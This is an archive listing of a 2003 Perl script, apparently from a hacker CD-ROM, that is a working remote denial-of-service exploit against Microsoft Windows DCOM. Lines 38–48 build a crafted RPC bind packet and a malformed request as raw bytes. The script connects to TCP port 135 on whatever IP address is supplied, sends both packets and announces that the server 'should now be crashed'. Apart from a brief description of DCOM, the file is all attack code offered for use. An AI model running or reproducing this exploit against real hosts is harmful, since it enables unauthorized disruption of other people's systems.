home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / dcomx / dcomx.pl
Encoding:
Perl Script  |  2003-08-20  |  2.3 KB  |  52 lines
  1. #!/usr/bin/perl -w
  2. # ================================================================
  3. # Microsoft Windows DCOM Remote DOS
  4. # By: Knight420
  5. # 07/24/03
  6. #
  7. # [Tested]
  8. # Win2kPro with full updates caused the machine to need a reboot!
  9. #
  10. # [DCOM]
  11. # The Distributed Component Object Model (DCOM) is a protocol
  12. # that enables software components to communicate directly over a
  13. # network in a reliable, secure, and efficient manner. Previously
  14. # called "Network OLE," DCOM is designed for use across multiple
  15. # network transports, including Internet protocols such as HTTP.
  16. # DCOM is based on the Open Software Foundation's DCE-RPC spec
  17. # and will work with both Java applets and ActiveX« components
  18. # through its use of the Component Object Model (COM).
  19. #
  20. # !W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!
  21. #
  22. # Gr33tz to: sorbo #open #darkircop
  23. #
  24. # (C) COPYRIGHT Blue Ballz , 2003
  25. # all rights reserved
  26. # ================================================================
  27.  
  28. use IO::Socket;
  29. if ($#ARGV<0)
  30. {
  31. system('clear ');
  32. printf "\n***********************************************";
  33. print "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
  34. printf "\n***********************************************";
  35. print "\n Usage: perl dcomx.pl ip\n";
  36. exit;
  37. }
  38. $bind = ("\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00");
  39. $own = ("\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00");
  40. $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", PeerPort=>"135"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
  41. system('clear ');
  42. printf "\n***********************************************";
  43. printf "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
  44. printf "\n***********************************************";
  45. printf "\n*** [1] Server is up...";
  46. printf "\n*** [2] Sending our elite code...";
  47. print  $connect "$bind";
  48. print $connect "$own";
  49. printf "\n*** [3] Server should now be crashed\n";
  50. close($connect);
  51.  
  52.